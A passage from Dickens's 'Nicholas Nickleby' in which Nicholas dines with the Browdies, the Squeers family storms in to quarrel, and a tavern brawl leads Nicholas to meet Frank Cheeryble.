restlessly +about these delicacies, stopping occasionally to whisk the flies out +of the sugar-basin with his wife's pocket-handkerchief, or to dip a +teaspoon in the milk-pot and carry it to his mouth, or to cut off a +little knob of crust, and a little corner of meat, and swallow them +at two gulps like a couple of pills. After every one of these +flirtations with the eatables, he pulled out his watch, and declared +with an earnestness quite pathetic that he couldn't undertake to +hold out two minutes longer. + +'Tilly!' said John to his lady, who was reclining half awake and +half asleep upon a sofa. + +'Well, John!' + +'Well, John!' retorted her husband, impatiently. 'Dost thou feel +hoongry, lass?' + +'Not very,' said Mrs Browdie. + +'Not vary!' repeated John, raising his eyes to the ceiling. 'Hear +her say not vary, and us dining at three, and loonching off pasthry +thot aggravates a mon 'stead of pacifying him! Not vary!' + +'Here's a gen'l'man for you, sir,' said the waiter, looking in. + +'A wa'at for me?' cried John, as though he thought it must be a +letter, or a parcel. + +'A gen'l'man, sir.' + +'Stars and garthers, chap!' said John, 'wa'at dost thou coom and say +thot for? In wi' 'un.' + +'Are you at home, sir?' + +'At whoam!' cried John, 'I wish I wur; I'd ha tea'd two hour ago. +Why, I told t'oother chap to look sharp ootside door, and tell 'un +d'rectly he coom, thot we war faint wi' hoonger. In wi' 'un. Aha! +Thee hond, Misther Nickleby. This is nigh to be the proodest day o' +my life, sir. Hoo be all wi' ye? Ding! But, I'm glod o' this!' + +Quite forgetting even his hunger in the heartiness of his +salutation, John Browdie shook Nicholas by the hand again and again, +slapping his palm with great violence between each shake, to add +warmth to the reception. + +'Ah! there she be,' said John, observing the look which Nicholas +directed towards his wife. 'There she be--we shan't quarrel about +her noo--eh? Ecod, when I think o' thot--but thou want'st soom'at +to eat. Fall to, mun, fall to, and for wa'at we're aboot to +receive--' + +No doubt the grace was properly finished, but nothing more was +heard, for John had already begun to play such a knife and fork, +that his speech was, for the time, gone. + +'I shall take the usual licence, Mr Browdie,' said Nicholas, as he +placed a chair for the bride. + +'Tak' whatever thou like'st,' said John, 'and when a's gane, ca' for +more.' + +Without stopping to explain, Nicholas kissed the blushing Mrs +Browdie, and handed her to her seat. + +'I say,' said John, rather astounded for the moment, 'mak' theeself +quite at whoam, will 'ee?' + +'You may depend upon that,' replied Nicholas; 'on one condition.' + +'And wa'at may thot be?' asked John. + +'That you make me a godfather the very first time you have occasion +for one.' + +'Eh! d'ye hear thot?' cried John, laying down his knife and fork. +'A godfeyther! Ha! ha! ha! Tilly--hear till 'un--a godfeyther! +Divn't say a word more, ye'll never beat thot. Occasion for 'un--a +godfeyther! Ha! ha! ha!' + +Never was man so tickled with a respectable old joke, as John +Browdie was with this. He chuckled, roared, half suffocated himself +by laughing large pieces of beef into his windpipe, roared again, +persisted in eating at the same time, got red in the face and black +in the forehead, coughed, cried, got better, went off again laughing +inwardly, got worse, choked, had his back thumped, stamped about, +frightened his wife, and at last recovered in a state of the last +exhaustion and with the water streaming from his eyes, but still +faintly ejaculating, 'A godfeyther--a godfeyther, Tilly!' in a tone +bespeaking an exquisite relish of the sally, which no suffering +could diminish. + +'You remember the night of our first tea-drinking?' said Nicholas. + +'Shall I e'er forget it, mun?' replied John Browdie. + +'He was a desperate fellow that night though, was he not, Mrs +Browdie?' said Nicholas. 'Quite a monster!' + +'If you had only heard him as we were going home, Mr Nickleby, you'd +have said so indeed,' returned the bride. 'I never was so +frightened in all my life.' + +'Coom, coom,' said John, with a broad grin; 'thou know'st betther +than thot, Tilly.' + +'So I was,' replied Mrs Browdie. 'I almost made up my mind never to +speak to you again.' + +'A'most!' said John, with a broader grin than the last. 'A'most +made up her mind! And she wur coaxin', and coaxin', and wheedlin', +and wheedlin' a' the blessed wa'. "Wa'at didst thou let yon chap +mak' oop tiv'ee for?" says I. "I deedn't, John," says she, a +squeedgin my arm. "You deedn't?" says I. "Noa," says she, a +squeedgin of me agean.' + +'Lor, John!' interposed his pretty wife, colouring very much. 'How +can you talk such nonsense? As if I should have dreamt of such a +thing!' + +'I dinnot know whether thou'd ever dreamt of it, though I think +that's loike eneaf, mind,' retorted John; 'but thou didst it. +"Ye're a feeckle, changeable weathercock, lass," says I. "Not +feeckle, John," says she. "Yes," says I, "feeckle, dom'd feeckle. +Dinnot tell me thou bean't, efther yon chap at schoolmeasther's," +says I. "Him!" says she, quite screeching. "Ah! him!" says I. +"Why, John," says she--and she coom a deal closer and squeedged a +deal harder than she'd deane afore--"dost thou think it's nat'ral +noo, that having such a proper mun as thou to keep company wi', I'd +ever tak' opp wi' such a leetle scanty whipper-snapper as yon?" she +says. Ha! ha! ha! She said whipper-snapper! "Ecod!" I says, +"efther thot, neame the day, and let's have it ower!" Ha! ha! ha!' + +Nicholas laughed very heartily at this story, both on account of its +telling against himself, and his being desirous to spare the blushes +of Mrs Browdie, whose protestations were drowned in peals of +laughter from her husband. His good-nature soon put her at her +ease; and although she still denied the charge, she laughed so +heartily at it, that Nicholas had the satisfaction of feeling +assured that in all essential respects it was strictly true. + +'This is the second time,' said Nicholas, 'that we have ever taken a +meal together, and only third I have ever seen you; and yet it +really seems to me as if I were among old friends.' + +'Weel!' observed the Yorkshireman, 'so I say.' + +'And I am sure I do,' added his young wife. + +'I have the best reason to be impressed with the feeling, mind,' +said Nicholas; 'for if it had not been for your kindness of heart, +my good friend, when I had no right or reason to expect it, I know +not what might have become of me or what plight I should have been +in by this time.' + +'Talk aboot soom'at else,' replied John, gruffly, 'and dinnot +bother.' + +'It must be a new song to the same tune then,' said Nicholas, +smiling. 'I told you in my letter that I deeply felt and admired +your sympathy with that poor lad, whom you released at the risk of +involving yourself in trouble and difficulty; but I can never tell +you how greateful he and I, and others whom you don't know, are to +you for taking pity on him.' + +'Ecod!' rejoined John Browdie, drawing up his chair; 'and I can +never tell YOU hoo gratful soom folks that we do know would be +loikewise, if THEY know'd I had takken pity on him.' + +'Ah!' exclaimed Mrs Browdie, 'what a state I was in that night!' + +'Were they at all disposed to give you credit for assisting in the +escape?' inquired Nicholas of John Browdie. + +'Not a bit,' replied the Yorkshireman, extending his mouth from ear +to ear. 'There I lay, snoog in schoolmeasther's bed long efther it +was dark, and nobody coom nigh the pleace. "Weel!" thinks I, "he's +got a pretty good start, and if he bean't whoam by noo, he never +will be; so you may coom as quick as you loike, and foind us reddy" +--that is, you know, schoolmeasther might coom.' + +'I understand,' said Nicholas. + +'Presently,' resumed John, 'he DID coom. I heerd door shut +doonstairs, and him a warking, oop in the daark. "Slow and steddy,' +I says to myself, "tak' your time, sir--no hurry." He cooms to the +door, turns the key--turns the key when there warn't nothing to +hoold the lock--and ca's oot 'Hallo, there!"--"Yes," thinks I, "you +may do thot agean, and not wakken anybody, sir." "Hallo, there," he +says, and then he stops. "Thou'd betther not aggravate me," says +schoolmeasther, efther a little time. "I'll brak' every boan in +your boddy, Smike," he says, efther another little time. Then all +of a soodden, he sings oot for a loight, and when it cooms--ecod, +such a hoorly-boorly! "Wa'at's the matter?" says I. "He's gane," +says he,--stark mad wi' vengeance. "Have you heerd nought?" "Ees," +says I, "I heerd street-door shut, no time at a' ago. I heerd a +person run doon there" (pointing t'other wa'--eh?) "Help!" he cries. +"I'll help you," says I; and off we set--the wrong wa'! Ho! ho! +ho!' + +'Did you go far?' asked Nicholas. + +'Far!' replied John; 'I run him clean off his legs in quarther of an +hoor. To see old schoolmeasther wi'out his hat, skimming along oop +to his knees in mud and wather, tumbling over fences, and rowling +into ditches, and bawling oot like mad, wi' his one eye looking +sharp out for the lad, and his coat-tails flying out behind, and him +spattered wi' mud all ower, face and all! I tho't I should ha' +dropped doon, and killed myself wi' laughing.' + +John laughed so heartily at the mere recollection, that he +communicated the contagion to both his hearers, and all three burst +into peals of laughter, which were renewed again and again, until +they could laugh no longer. + +'He's a bad 'un,' said John, wiping his eyes; 'a very bad 'un, is +schoolmeasther.' + +'I can't bear the sight of him, John,' said his wife. + +'Coom,' retorted John, 'thot's tidy in you, thot is. If it wa'nt +along o' you, we shouldn't know nought aboot 'un. Thou know'd 'un +first, Tilly, didn't thou?' + +'I couldn't help knowing Fanny Squeers, John,' returned his wife; +'she was an old playmate of mine, you know.' + +'Weel,' replied John, 'dean't I say so, lass? It's best to be +neighbourly, and keep up old acquaintance loike; and what I say is, +dean't quarrel if 'ee can help it. Dinnot think so, Mr Nickleby?' + +'Certainly,' returned Nicholas; 'and you acted upon that principle +when I meet you on horseback on the road, after our memorable +evening.' + +'Sure-ly,' said John. 'Wa'at I say, I stick by.' + +'And that's a fine thing to do, and manly too,' said Nicholas, +'though it's not exactly what we understand by "coming Yorkshire +over us" in London. Miss Squeers is stopping with you, you said in +your note.' + +'Yes,' replied John, 'Tilly's bridesmaid; and a queer bridesmaid she +be, too. She wean't be a bride in a hurry, I reckon.' + +'For shame, John,' said Mrs Browdie; with an acute perception of the +joke though, being a bride herself. + +'The groom will be a blessed mun,' said John, his eyes twinkling at +the idea. 'He'll be in luck, he will.' + +'You see, Mr Nickleby,' said his wife, 'that it was in consequence +of her being here, that John wrote to you and fixed tonight, because +we thought that it wouldn't be pleasant for you to meet, after what +has passed.' + +'Unquestionably. You were quite right in that,' said Nicholas, +interrupting. + +'Especially,' observed Mrs Browdie, looking very sly, 'after what we +know about past and gone love matters.' + +'We know, indeed!' said Nicholas, shaking his head. 'You behaved +rather wickedly there, I suspect.' + +'O' course she did,' said John Browdie, passing his huge forefinger +through one of his wife's pretty ringlets, and looking very proud of +her. 'She wur always as skittish and full o' tricks as a--' + +'Well, as a what?' said his wife. + +'As a woman,' returned John. 'Ding! But I dinnot know ought else +that cooms near it.' + +'You were speaking about Miss Squeers,' said Nicholas, with the view +of stopping some slight connubialities which had begun to pass +between Mr and Mrs Browdie, and which rendered the position of a +third party in some degree embarrassing, as occasioning him to feel +rather in the way than otherwise. + +'Oh yes,' rejoined Mrs Browdie. 'John ha' done. John fixed tonight, +because she had settled that she would go and drink tea with her +father. And to make quite sure of there being nothing amiss, and of +your being quite alone with us, he settled to go out there and fetch +her home.' + +'That was a very good arrangement,' said Nicholas, 'though I am +sorry to be the occasion of so much trouble.' + +'Not the least in the world,' returned Mrs Browdie; 'for we have +looked forward to see you--John and I have--with the greatest +possible pleasure. Do you know, Mr Nickleby,' said Mrs Browdie, +with her archest smile, 'that I really think Fanny Squeers was very +fond of you?' + +'I am very much obliged to her,' said Nicholas; 'but upon my word, I +never aspired to making any impression upon her virgin heart.' + +'How you talk!' tittered Mrs Browdie. 'No, but do you know that +really--seriously now and without any joking--I was given to +understand by Fanny herself, that you had made an offer to her, and +that you two were going to be engaged quite solemn and regular.' + +'Was you, ma'am--was you?' cried a shrill female voice, 'was you +given to understand that I--I--was going to be engaged to an +assassinating thief that shed the gore of my pa? Do you--do you +think, ma'am--that I was very fond of such dirt beneath my feet, as +I couldn't condescend to touch with kitchen tongs, without blacking +and crocking myself by the contract? Do you, ma'am--do you? Oh! +base and degrading 'Tilda!' + +With these reproaches Miss Squeers flung the door wide open, and +disclosed to the eyes of the astonished Browdies and Nicholas, not +only her own symmetrical form, arrayed in the chaste white garments +before described (a little dirtier), but the form of her brother and +father, the pair of Wackfords. + +'This is the hend, is it?' continued Miss Squeers, who, being +excited, aspirated her h's strongly; 'this is the hend, is it, of +all my forbearance and friendship for that double-faced thing--that +viper, that--that--mermaid?' (Miss Squeers hesitated a long time for +this last epithet, and brought it out triumphantly as last, as if it +quite clinched the business.) 'This is the hend, is it, of all my +bearing with her deceitfulness, her lowness, her falseness, her +laying herself out to catch the admiration of vulgar minds, in a way +which made me blush for my--for my--' + +'Gender,' suggested Mr Squeers, regarding the spectators with a +malevolent eye--literally A malevolent eye. + +'Yes,' said Miss Squeers; 'but I thank my stars that my ma is of the +same--' + +'Hear, hear!' remarked Mr Squeers; 'and I wish she was here to have +a scratch at this company.' + +'This is the hend, is it,' said Miss Squeers, tossing her head, and +looking contemptuously at the floor, 'of my taking notice of that +rubbishing creature, and demeaning myself to patronise her?' + +'Oh, come,' rejoined Mrs Browdie, disregarding all the endeavours of +her spouse to restrain her, and forcing herself into a front row, +'don't talk such nonsense as that.' + +'Have I not patronised you, ma'am?' demanded Miss Squeers. + +'No,' returned Mrs Browdie. + +'I will not look for blushes in such a quarter,' said Miss Squeers, +haughtily, 'for that countenance is a stranger to everything but +hignominiousness and red-faced boldness.' + +'I say,' interposed John Browdie, nettled by these accumulated +attacks on his wife, 'dra' it mild, dra' it mild.' + +'You, Mr Browdie,' said Miss Squeers, taking him up very quickly, 'I +pity. I have no feeling for you, sir, but one of unliquidated +pity.' + +'Oh!' said John. + +'No,' said Miss Squeers, looking sideways at her parent, 'although I +AM a queer bridesmaid, and SHAN'T be a bride in a hurry, and +although my husband WILL be in luck, I entertain no sentiments +towards you, sir, but sentiments of pity.' + +Here Miss Squeers looked sideways at her father again, who looked +sideways at her, as much as to say, 'There you had him.' + +'I know what you've got to go through,' said Miss Squeers, shaking +her curls violently. 'I know what life is before you, and if you +was my bitterest and deadliest enemy, I could wish you nothing +worse.' + +'Couldn't you wish to be married to him yourself, if that was the +case?' inquired Mrs Browdie, with great suavity of manner. + +'Oh, ma'am, how witty you are,' retorted Miss Squeers with a low +curtsy, 'almost as witty, ma'am, as you are clever. How very clever +it was in you, ma'am, to choose a time when I had gone to tea with +my pa, and was sure not to come back without being fetched! What a +pity you never thought that other people might be as clever as +yourself and spoil your plans!' + +'You won't vex me, child, with such airs as these,' said the late +Miss Price, assuming the matron. + +'Don't MISSIS me, ma'am, if you please,' returned Miss Squeers, +sharply. 'I'll not bear it. Is THIS the hend--' + +'Dang it a',' cried John Browdie, impatiently. 'Say thee say out, +Fanny, and mak' sure it's the end, and dinnot ask nobody whether it +is or not.' + +'Thanking you for your advice which was not required, Mr Browdie,' +returned Miss Squeers, with laborious politeness, 'have the goodness +not to presume to meddle with my Christian name. Even my pity shall +never make me forget what's due to myself, Mr Browdie. 'Tilda,' +said Miss Squeers, with such a sudden accession of violence that +John started in his boots, 'I throw you off for ever, miss. I +abandon you. I renounce you. I wouldn't,' cried Miss Squeers in a +solemn voice, 'have a child named 'Tilda, not to save it from its +grave.' + +'As for the matther o' that,' observed John, 'it'll be time eneaf to +think aboot neaming of it when it cooms.' + +'John!' interposed his wife, 'don't tease her.' + +'Oh! Tease, indeed!' cried Miss Squeers, bridling up. 'Tease, +indeed! He, he! Tease, too! No, don't tease her. Consider her +feelings, pray!' + +'If it's fated that listeners are never to hear any good of +themselves,' said Mrs Browdie, 'I can't help it, and I am very sorry +for it. But I will say, Fanny, that times out of number I have +spoken so kindly of you behind your back, that even you could have +found no fault with what I said.' + +'Oh, I dare say not, ma'am!' cried Miss Squeers, with another +curtsy. 'Best thanks to you for your goodness, and begging and +praying you not to be hard upon me another time!' + +'I don't know,' resumed Mrs Browdie, 'that I have said anything very +bad of you, even now. At all events, what I did say was quite true; +but if I have, I am very sorry for it, and I beg your pardon. You +have said much worse of me, scores of times, Fanny; but I have never +borne any malice to you, and I hope you'll not bear any to me.' + +Miss Squeers made no more direct reply than surveying her former +friend from top to toe, and elevating her nose in the air with +ineffable disdain. But some indistinct allusions to a 'puss,' and a +'minx,' and a 'contemptible creature,' escaped her; and this, +together with a severe biting of the lips, great difficulty in +swallowing, and very frequent comings and goings of breath, seemed +to imply that feelings were swelling in Miss Squeers's bosom too +great for utterance. + +While the foregoing conversation was proceeding, Master Wackford, +finding himself unnoticed, and feeling his preponderating +inclinations strong upon him, had by little and little sidled up to +the table and attacked the food with such slight skirmishing as +drawing his fingers round and round the inside of the plates, and +afterwards sucking them with infinite relish; picking the bread, and +dragging the pieces over the surface of the butter; pocketing lumps +of sugar, pretending all the time to be absorbed in thought; and so +forth. Finding that no interference was attempted with these small +liberties, he gradually mounted to greater, and, after helping +himself to a moderately good cold collation, was, by this time, deep +in the pie. + +Nothing of this had been unobserved by Mr Squeers, who, so long as +the attention of the company was fixed upon other objects, hugged +himself to think that his son and heir should be fattening at the +enemy's expense. But there being now an appearance of a temporary +calm, in which the proceedings of little Wackford could scarcely +fail to be observed, he feigned to be aware of the circumstance for +the first time, and inflicted upon the face of that young gentleman +a slap that made the very tea-cups ring. + +'Eating!' cried Mr Squeers, 'of what his father's enemies has left! +It's fit to go and poison you, you unnat'ral boy.' + +'It wean't hurt him,' said John, apparently very much relieved by +the prospect of having a man in the quarrel; 'let' un eat. I wish +the whole school was here. I'd give'em soom'at to stay their +unfort'nate stomachs wi', if I spent the last penny I had!' + +Squeers scowled at him with the worst and most malicious expression +of which his face was capable--it was a face of remarkable +capability, too, in that way--and shook his fist stealthily. + +'Coom, coom, schoolmeasther,' said John, 'dinnot make a fool o' +thyself; for if I was to sheake mine--only once--thou'd fa' doon wi' +the wind o' it.' + +'It was you, was it,' returned Squeers, 'that helped off my runaway +boy? It was you, was it?' + +'Me!' returned John, in a loud tone. 'Yes, it wa' me, coom; wa'at +o' that? It wa' me. Noo then!' + +'You hear him say he did it, my child!' said Squeers, appealing to +his daughter. 'You hear him say he did it!' + +'Did it!' cried John. 'I'll tell 'ee more; hear this, too. If +thou'd got another roonaway boy, I'd do it agean. If thou'd got +twonty roonaway boys, I'd do it twonty times ower, and twonty more +to thot; and I tell thee more,' said John, 'noo my blood is oop, +that thou'rt an old ra'ascal; and that it's weel for thou, thou +be'est an old 'un, or I'd ha' poonded thee to flour when thou told +an honest mun hoo thou'd licked that poor chap in t' coorch.' + +'An honest man!' cried Squeers, with a sneer. + +'Ah! an honest man,' replied John; 'honest in ought but ever putting +legs under seame table wi' such as thou.' + +'Scandal!' said Squeers, exultingly. 'Two witnesses to it; Wackford +knows the nature of an oath, he does; we shall have you there, sir. +Rascal, eh?' Mr Squeers took out his pocketbook and made a note of +it. 'Very good. I should say that was worth full twenty pound at +the next assizes, without the honesty, sir.' + +''Soizes,' cried John, 'thou'd betther not talk to me o' 'Soizes. +Yorkshire schools have been shown up at 'Soizes afore noo, mun, and +it's a ticklish soobjact to revive, I can tell ye.' + +Mr Squeers shook his head in a threatening manner, looking very +white with passion; and taking his daughter's arm, and dragging +little Wackford by the hand, retreated towards the door. + +'As for you,' said Squeers, turning round and addressing Nicholas, +who, as he had caused him to smart pretty soundly on a former +occasion, purposely abstained from taking any part in the +discussion, 'see if I ain't down upon you before long. You'll go a +kidnapping of boys, will you? Take care their fathers don't turn +up--mark that--take care their fathers don't turn up, and send 'em +back to me to do as I like with, in spite of you.' + +'I am not afraid of that,' replied Nicholas, shrugging his shoulders +contemptuously, and turning away. + +'Ain't you!' retorted Squeers, with a diabolical look. 'Now then, +come along.' + +'I leave such society, with my pa, for Hever,' said Miss Squeers, +looking contemptuously and loftily round. 'I am defiled by +breathing the air with such creatures. Poor Mr Browdie! He! he! +he! I do pity him, that I do; he's so deluded. He! he! he!--Artful +and designing 'Tilda!' + +With this sudden relapse into the sternest and most majestic wrath, +Miss Squeers swept from the room; and having sustained her dignity +until the last possible moment, was heard to sob and scream and +struggle in the passage. + +John Browdie remained standing behind the table, looking from his +wife to Nicholas, and back again, with his mouth wide open, until +his hand accidentally fell upon the tankard of ale, when he took it +up, and having obscured his features therewith for some time, drew a +long breath, handed it over to Nicholas, and rang the bell. + +'Here, waither,' said John, briskly. 'Look alive here. Tak' these +things awa', and let's have soomat broiled for sooper--vary +comfortable and plenty o' it--at ten o'clock. Bring soom brandy and +soom wather, and a pair o' slippers--the largest pair in the house-- +and be quick aboot it. Dash ma wig!' said John, rubbing his hands, +'there's no ganging oot to neeght, noo, to fetch anybody whoam, and +ecod, we'll begin to spend the evening in airnest.' + + + +CHAPTER 43 + +Officiates as a kind of Gentleman Usher, in bringing various People +together + + +The storm had long given place to a calm the most profound, and the +evening was pretty far advanced--indeed supper was over, and the +process of digestion proceeding as favourably as, under the +influence of complete tranquillity, cheerful conversation, and a +moderate allowance of brandy-and-water, most wise men conversant +with the anatomy and functions of the human frame will consider that +it ought to have proceeded, when the three friends, or as one might +say, both in a civil and religious sense, and with proper deference +and regard to the holy state of matrimony, the two friends, (Mr and +Mrs Browdie counting as no more than one,) were startled by the +noise of loud and angry threatenings below stairs, which presently +attained so high a pitch, and were conveyed besides in language so +towering, sanguinary, and ferocious, that it could hardly have been +surpassed, if there had actually been a Saracen's head then present +in the establishment, supported on the shoulders and surmounting the +trunk of a real, live, furious, and most unappeasable Saracen. + +This turmoil, instead of quickly subsiding after the first outburst, +(as turmoils not unfrequently do, whether in taverns, legislative +assemblies, or elsewhere,) into a mere grumbling and growling +squabble, increased every moment; and although the whole din +appeared to be raised by but one pair of lungs, yet that one pair +was of so powerful a quality, and repeated such words as +'scoundrel,' 'rascal,' 'insolent puppy,' and a variety of expletives +no less flattering to the party addressed, with such great relish +and strength of tone, that a dozen voices raised in concert under +any ordinary circumstances would have made far less uproar and +created much smaller consternation. + +'Why, what's the matter?' said Nicholas, moving hastily towards the +door. + +John Browdie was striding in the same direction when Mrs Browdie +turned pale, and, leaning back in her chair, requested him with a +faint voice to take notice, that if he ran into any danger it was +her intention to fall into hysterics immediately, and that the +consequences might be more serious than he thought for. John looked +rather disconcerted by this intelligence, though there was a lurking +grin on his face at the same time; but, being quite unable to keep +out of the fray, he compromised the matter by tucking his wife's arm +under his own, and, thus accompanied, following Nicholas downstairs +with all speed. + +The passage outside the coffee-room door was the scene of +disturbance, and here were congregated the coffee-room customers and +waiters, together with two or three coachmen and helpers from the +yard. These had hastily assembled round a young man who from his +appearance might have been a year or two older than Nicholas, and +who, besides having given utterance to the defiances just now +described, seemed to have proceeded to even greater lengths in his +indignation, inasmuch as his feet had no other covering than a pair +of stockings, while a couple of slippers lay at no great distance +from the head of a prostrate figure in an opposite corner, who bore +the appearance of having been shot into his present retreat by means +of a kick, and complimented by having the slippers flung about his +ears afterwards. + +The coffee-room customers, and the waiters, and the coachmen, and +the helpers--not to mention a barmaid who was looking on from behind +an open sash window--seemed at that moment, if a spectator might +judge from their winks, nods, and muttered exclamations, strongly +disposed to take part against the young gentleman in the stockings. +Observing this, and that the young gentleman was nearly of his own +age and had in nothing the appearance of an habitual brawler, +Nicholas, impelled by such feelings as will influence young men +sometimes, felt a very strong disposition to side with the weaker +party, and so thrust himself at once into the centre of the group, +and in a more emphatic tone, perhaps, than circumstances might seem +to warrant, demanded what all that noise was about. + +'Hallo!' said one of the men from the yard, 'this is somebody in +disguise, this is.' + +'Room for the eldest son of the Emperor of Roosher, gen'l'men!' +cried another fellow. + +Disregarding these sallies, which were uncommonly well received, as +sallies at the expense of the best-dressed persons in a crowd +usually are, Nicholas glanced carelessly round, and addressing the +young gentleman, who had by this time picked up his slippers and +thrust his feet into them, repeated his inquiries with a courteous +air. + +'A mere nothing!' he replied. + +At this a murmur was raised by the lookers-on, and some of the +boldest cried, 'Oh, indeed!--Wasn't it though?--Nothing, eh?--He +called that nothing, did he? Lucky for him if he found it nothing.' +These and many other expressions of ironical disapprobation having +been exhausted, two or three of the out-of-door fellows began to +hustle Nicholas and the young gentleman who had made the noise: +stumbling against them by accident, and treading on their toes, and +so forth. But this being a round game, and one not necessarily +limited to three or four players, was open to John Browdie too, who, +bursting into the little crowd--to the great terror of his wife--and +falling about in all directions, now to the right, now to the left, +now forwards, now backwards, and accidentally driving his elbow +through the hat of the tallest helper, who had been particularly +active, speedily caused the odds to wear a very different +appearance; while more than one stout fellow limped away to a +respectful distance, anathematising with tears in his eyes the heavy +tread and ponderous feet of the burly Yorkshireman. + +'Let me see him do it again,' said he who had been kicked into the +corner, rising as he spoke, apparently more from the fear of John +Browdie's inadvertently treading upon him, than from any desire to +place himself on equal terms with his late adversary. 'Let me see +him do it again. That's all.' + +'Let me hear you make those remarks again,' said the young man, 'and +I'll knock that head of yours in among the wine-glasses behind you +there.' + +Here a waiter who had been rubbing his hands in excessive enjoyment +of the scene, so long as only the breaking of heads was in question, +adjured the spectators with great earnestness to fetch the police, +declaring that otherwise murder would be surely done, and that he +was responsible for all the glass and china on the premises. + +'No one need trouble himself to stir,' said the young gentleman, 'I +am going to remain in the house all night, and shall be found here +in the morning if there is any assault to answer for.' + +'What did you strike him for?' asked one of the bystanders. + +'Ah! what did you strike him for?' demanded the others. + +The unpopular gentleman looked coolly round, and addressing himself +to Nicholas, said: + +'You inquired just now what was the matter here. The matter is +simply this. Yonder person, who was drinking with a friend in the +coffee-room when I took my seat there for half an hour before going +to bed, (for I have just come off a journey, and preferred stopping +here tonight, to going home at this hour, where I was not expected +until tomorrow,) chose to express himself in very disrespectful, and +insolently familiar terms, of a young lady, whom I recognised from +his description and other circumstances, and whom I have the honour +to know. As he spoke loud enough to be overheard by the other +guests who were present, I informed him most civilly that he was +mistaken in his conjectures, which were of an offensive nature, and +requested him to forbear. He did so for a little time, but as he +chose to renew his conversation when leaving the room, in a more +offensive strain than before, I could not refrain from making after +him, and facilitating his departure by a kick, which reduced him to +the posture in which you saw him just now. I am the best judge of +my own affairs, I take it,' said the young man, who had certainly +not quite recovered from his recent heat; 'if anybody here thinks +proper to make this quarrel his own, I have not the smallest earthly +objection, I do assure him.' + +Of all possible courses of proceeding under the circumstances +detailed, there was certainly not one which, in his then state of +mind, could have appeared more laudable to Nicholas than this. +There were not many subjects of dispute which at that moment could +have come home to his own breast more powerfully, for having the +unknown uppermost in his thoughts, it naturally occurred to him that +he would have done just the same if any audacious gossiper durst +have presumed in his hearing to speak lightly of her. Influenced by +these considerations, he espoused the young gentleman's quarrel with +great warmth, protesting that he had done quite right, and that he +respected him for it; which John Browdie (albeit not quite clear as +to the merits) immediately protested too, with not inferior +vehemence. + +'Let him take care, that's all,' said the defeated party, who was +being rubbed down by a waiter, after his recent fall on the dusty +boards. 'He don't knock me about for nothing, I can tell him that. +A pretty state of things, if a man isn't to admire a handsome girl +without being beat to pieces for it!' + +This reflection appeared to have great weight with the young lady in +the bar, who (adjusting her cap as she spoke, and glancing at a +mirror) declared that it would be a very pretty state of things +indeed; and that if people were to be punished for actions so +innocent and natural as that, there would be more people to be +knocked down than there would be people to knock them down, and that +she wondered what the gentleman meant by it, that she did. + +'My dear girl,' said the young gentleman in a low voice, advancing +towards the sash window. + +'Nonsense, sir!' replied the young lady sharply, smiling though as +she turned aside, and biting her lip, (whereat Mrs Browdie, who was +still standing on the stairs, glanced at her with disdain, and +called to her husband to come away). + +'No, but listen to me,' said the young man. 'If admiration of a +pretty face were criminal, I should be the most hopeless person +alive, for I cannot resist one. It has the most extraordinary +effect upon me, checks and controls me in the most furious and +obstinate mood. You see what an effect yours has had upon me +already.' + +'Oh, that's very pretty,' replied the young lady, tossing her head, +'but--' + +'Yes, I know it's very pretty,' said the young man, looking with an +air of admiration in the barmaid's face; 'I said so, you know, just +this moment. But beauty should be spoken of respectfully-- +respectfully, and in proper terms, and with a becoming sense of its +worth and excellence, whereas this fellow has no more notion--' + +The young lady interrupted the conversation at this point, by +thrusting her head out of the bar-window, and inquiring of the +waiter in a shrill voice whether that young man who had been knocked +down was going to stand in the passage all night, or whether the +entrance was to be left clear for other people. The waiters taking +the hint, and communicating it to the hostlers, were not slow to +change their tone too, and the result was, that the unfortunate +victim was bundled out in a twinkling. + +'I am sure I have seen that fellow before,' said Nicholas. + +'Indeed!' replied his new acquaintance. + +'I am certain of it,' said Nicholas, pausing to reflect. 'Where can +I have--stop!--yes, to be sure--he belongs to a register-office up +at the west end of the town. I knew I recollected the face.' + +It was, indeed, Tom, the ugly clerk. + +'That's odd enough!' said Nicholas, ruminating upon the strange +manner in which the register-office seemed to start up and stare him +in the face every now and then, and when he least expected it. + +'I am much obliged to you for your kind advocacy of my cause when it +most needed an advocate,' said the young man, laughing, and drawing +a card from his pocket. 'Perhaps you'll do me the favour to let me +know where I can thank you.' + +Nicholas took the card, and glancing at it involuntarily as he +returned the compliment, evinced very great surprise. + +'Mr Frank Cheeryble!' said Nicholas. 'Surely not the nephew of +Cheeryble Brothers, who is expected tomorrow!' + +'I don't usually call myself the nephew of the firm,' returned Mr +Frank, good-humouredly; 'but of the two excellent individuals who +compose it, I am proud to say I AM the nephew. And you, I see, are +Mr Nickleby, of whom I have heard so much! This is a most +unexpected meeting, but not the less welcome, I assure you.' + +Nicholas responded to these compliments with others of the same +kind, and they shook hands warmly. Then he introduced John Browdie, +who had remained in a state of great admiration ever since the young +lady in the bar had been so skilfully won over to the right side. +Then Mrs John Browdie was introduced, and finally they all went +upstairs together and spent the next half-hour with great +satisfaction and mutual entertainment; Mrs John Browdie beginning +the conversation by declaring that of all the made-up things she +ever saw, that young woman below-stairs was the vainest and the +plainest. + +This Mr Frank Cheeryble, although, to judge from what had recently +taken place, a hot-headed young man (which is not an absolute +miracle and phenomenon in nature), was a sprightly, good-humoured, +pleasant fellow, with much both in his countenance and disposition +that reminded Nicholas very strongly of the kind-hearted brothers. +His manner was as unaffected as theirs, and his demeanour full of +that heartiness which, to most people who have anything generous in +their composition, is peculiarly prepossessing. Add to this, that +he was good-looking and intelligent, had a plentiful share of +vivacity, was extremely cheerful, and accommodated himself in five +minutes' time to all John Browdie's oddities with as much ease as if +he had known him from a boy; and it will be a source of no great +wonder that, when they parted for the night, he had produced a most +favourable impression, not only upon the worthy Yorkshireman and his +wife, but upon Nicholas also, who, revolving all these things in his +mind as he made the best of his way home, arrived at the conclusion +that he had laid the foundation of a most agreeable and desirable +acquaintance. + +'But it's a most extraordinary thing about that register-office +fellow!' thought Nicholas. 'Is it likely that this nephew can know +anything about that beautiful girl? When Tim Linkinwater gave me to +understand the other day that he was coming to take a share in the +business here, he said he had been superintending it in Germany for +four years, and that during the last six months he had been engaged +in establishing an agency in the north of England. That's four +years and a half--four years and a half. She can't be more than +seventeen--say eighteen at the outside. She was quite a child when +he went away, then. I should say he knew nothing about her and had +never seen her, so HE can give me no information. At all events,' +thought Nicholas, coming to the real point in his mind, 'there can +be no danger of any prior occupation of her affections in that +quarter; that's quite clear.' + +Is selfishness a necessary ingredient in the composition of that +passion called love, or does it deserve all the 